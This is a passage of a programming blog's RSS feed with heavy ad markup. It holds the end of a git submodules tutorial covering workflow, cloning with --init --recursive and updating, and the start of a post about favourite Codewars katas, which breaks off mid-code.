style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This file is important because it is a reference to the submodules that our project needs to work.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887713/coffee-bytes/gitSubmodules_piogyh.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887713/coffee-bytes/gitSubmodules_piogyh.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;git submodules operation schematic&#34; width=&#34;1200&#34; height=&#34;900&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Schematic of git submodules operation&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;the-contents-of-a-submodules-git-file&#34;&gt;The contents of a submodule&amp;rsquo;s .git file&lt;/h3&gt;&#xA;&lt;p&gt;What does the submodule contain? If you go into any submodule, you will see that it has a file named &lt;em&gt;.git&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; &amp;lt;destination&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.rw-r--r--   &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; may 09:49 .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you check the contents of this file with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;cat command&lt;/a&gt;&#xA;, you will see that it is a path pointing to the &lt;em&gt;.git/modules&lt;/em&gt; folder in our main repository. This is how git can keep track of submodules directly in the main repository.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gitdir: ../.git/modules/&amp;lt;submodule&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And what&amp;rsquo;s at that location? In that location are the files with which git manages a repository internally, they keep the same structure as the ones inside the &lt;em&gt;.git&lt;/em&gt; folder of your main repository.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;git-treats-submodules-as-individual-repositories&#34;&gt;Git treats submodules as individual repositories.&lt;/h3&gt;&#xA;&lt;p&gt;A submodule is handled in exactly the same way as a normal repository.&lt;/p&gt;&#xA;&lt;p&gt;If you run the &lt;em&gt;git status&lt;/em&gt; command inside a submodule, you will see that we are inside a different repository than the main one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;on main branch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your branch is updated with &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;origin/main&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Within the submodule you can perform checkouts, create branches, even commits and pushes. All these changes will be made in the submodule repository, not in the main repository.&lt;/p&gt;&#xA;&lt;p&gt;Git treats each submodule as if it were a separate repository, so &lt;strong&gt;each version of your main repository corresponds to a version of the submodule&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745888025/coffee-bytes/submodule-relation-commit_mxkmhf.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745888025/coffee-bytes/submodule-relation-commit_mxkmhf.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Git submodules-correspondence&#34; width=&#34;1200&#34; height=&#34;498&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;workflow-of-git-submodules&#34;&gt;Workflow of git submodules&lt;/h2&gt;&#xA;&lt;p&gt;Every time you make a change &lt;strong&gt;within your submodule you must push the changes and then update the reference from the main repository to the submodules&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What happens if you don&amp;rsquo;t? Well this is where the nightmare of all the people who hate submodules begins, you will be working on the latest version of the submodule, while your colleagues will be working on the old version.&lt;/p&gt;&#xA;&lt;h3 id=&#34;steps-to-save-changes-in-a-git-submodule&#34;&gt;Steps to save changes in a git submodule&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;How to solve it? With these three steps&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save the changes (commit) and push them to your submodule.&lt;/li&gt;&#xA;&lt;li&gt;Return to your main repository.&lt;/li&gt;&#xA;&lt;li&gt;Save the changes (commit) and push to your main repository.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Modifying submodule&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git add &amp;lt;files&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git commit -m &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submodule&amp;#39;s commit message&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git push&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Returning to your main repository.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; &amp;lt;main-repository&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Save the changes (commit) and push to your main repository.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git add .gitmodules &amp;lt;files&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git commit -m &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Update to new submodule version&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git push&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The important thing to remember here is that we must always update changes to both the submodule and the main repository.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;initializing-a-repository-with-a-git-submodule-in-git&#34;&gt;Initializing a repository with a git submodule in git&lt;/h3&gt;&#xA;&lt;p&gt;What if instead of adding a submodule with &lt;em&gt;git add submodule&lt;/em&gt;, we clone a project that has a &lt;em&gt;.gitmodules&lt;/em&gt; file?&lt;/p&gt;&#xA;&lt;p&gt;When cloning a repository that has submodules, &lt;strong&gt;git clones only the main repository, without including the content of the submodules&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone &amp;lt;repo-with-submodules&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check it, navigate inside the submodule folders and you will see that they are empty.&lt;/p&gt;&#xA;&lt;p&gt;For git to download the content of the submodules we need to initialize, with &lt;em&gt;&amp;ndash;init&lt;/em&gt; the submodules with the following command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule update --init --recursive&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;&amp;ndash;recursive&lt;/em&gt; option will take care of initializing all the submodules of the main repository.&lt;/p&gt;&#xA;&lt;h3 id=&#34;updating-a-repository-with-submodules-in-git&#34;&gt;Updating a repository with submodules in git&lt;/h3&gt;&#xA;&lt;p&gt;What if we do a &lt;em&gt;pull&lt;/em&gt; of our main project?&lt;/p&gt;&#xA;&lt;p&gt;As I mentioned to you earlier, &lt;strong&gt;each version of your main project corresponds to a version of the submodule&lt;/strong&gt;, so if the version of your project changed, the submodule it points to may have changed.&lt;/p&gt;&#xA;&lt;p&gt;Also, in git, &lt;strong&gt;submodules are not automatically updated when you update the main repository&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If there were changes in your main repository and you do a &lt;em&gt;git pull&lt;/em&gt; it is &lt;strong&gt;your obligation to update the submodules up to the most recent commit of the remote submodule code&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule update --recursive --remote&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the above I conclude the article, if you found it useful you can share it on your favorite social networks.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A git submodule is a record within a git repository that points to a commit in an external repository. They are handled exactly as you would with a repository, they even have a &lt;em&gt;.git&lt;/em&gt; file that points to the location where a changelog is kept.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887883/coffee-bytes/gitSubmodulesSchema_nkmmd3.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887883/coffee-bytes/gitSubmodulesSchema_nkmmd3.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified outline of git submodules&#34; width=&#34;744&#34; height=&#34;576&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Simplified outline of git submodules&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;git submodules are useful when we want to incorporate third-party code into a project and at the same time we want to keep strict control of the updates of that code through git. For example:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Top 5 Favorite Algorithm Problems at Codewars</title>
      <link>https://coffeebytes.dev/en/opinion/top-5-favorite-algorithm-problems-at-codewars/</link>
      <pubDate>Sat, 30 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/top-5-favorite-algorithm-problems-at-codewars/</guid>
      
      <category>opinion</category>
      
      <category>algorithms</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;what-is-codewars&#34;&gt;What is codewars?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Codewars is a social network of programmers who get together to challenge each other to solve code challenges. Codewars is one of &lt;strong&gt;the best websites for practicing algorithms and solving Katas&lt;/strong&gt;. Katas? Yes, as in Karate.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-are-katas-in-codewars&#34;&gt;What are katas in codewars?&lt;/h3&gt;&#xA;&lt;p&gt;In the spirit of martial arts, more specifically Karate, these code problems are called &lt;em&gt;katas&lt;/em&gt;. The &lt;em&gt;katas&lt;/em&gt; are divided, ascendingly, according to their difficulty. There are katas from 8th kyu to 1st kyu, with 1st kyu being the most difficult type of &lt;em&gt;kata&lt;/em&gt; of all.&lt;/p&gt;&#xA;&lt;p&gt;There are &lt;em&gt;katas&lt;/em&gt; on many, many topics: algorithm development, efficiency, regex, mathematics, cryptography, etc.&lt;/p&gt;&#xA;&lt;p&gt;Collectively, the &lt;em&gt;katas&lt;/em&gt; encompass a variety of languages: C, C++, Go, Python, Javascript, Elixir, Haskell, Rust, even languages as esoteric as Brainfuck. While, individually, each Kata has one or more languages.&lt;/p&gt;&#xA;&lt;p&gt;Without further ado, here are my top 5 &lt;em&gt;katas&lt;/em&gt;. These &lt;em&gt;katas&lt;/em&gt; &lt;strong&gt;are not necessarily the most difficult ones&lt;/strong&gt;, but the ones that I consider to have the ideal balance between creativity and difficulty. I choose those that give that feeling of a good puzzle, one of those that you can&amp;rsquo;t stop until you solve it.&lt;/p&gt;&#xA;&lt;p&gt;By the way, &lt;strong&gt;no, I&amp;rsquo;m not going to post the answers&lt;/strong&gt;, those are up to you.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;multi-line-task-hello-world&#34;&gt;Multi Line Task++: Hello World&lt;/h2&gt;&#xA;&lt;p&gt;You need to write a function that returns the string &amp;ldquo;Hello, world!&amp;rdquo; in Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Requirement: Each line must have at most 2 characters, and the total number of lines must be less than 40.&lt;/p&gt;&#xA;&lt;p&gt;Hint: It is possible to complete it in only 28 lines of code.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Original Kata: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59a421985eb5d4bb41000031&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Multi Line Task++: Hello World&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;note-on-kata&#34;&gt;Note on Kata&lt;/h3&gt;&#xA;&lt;p&gt;The difficult part is the two characters per line maximum. Give it a try.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;56&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;78&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 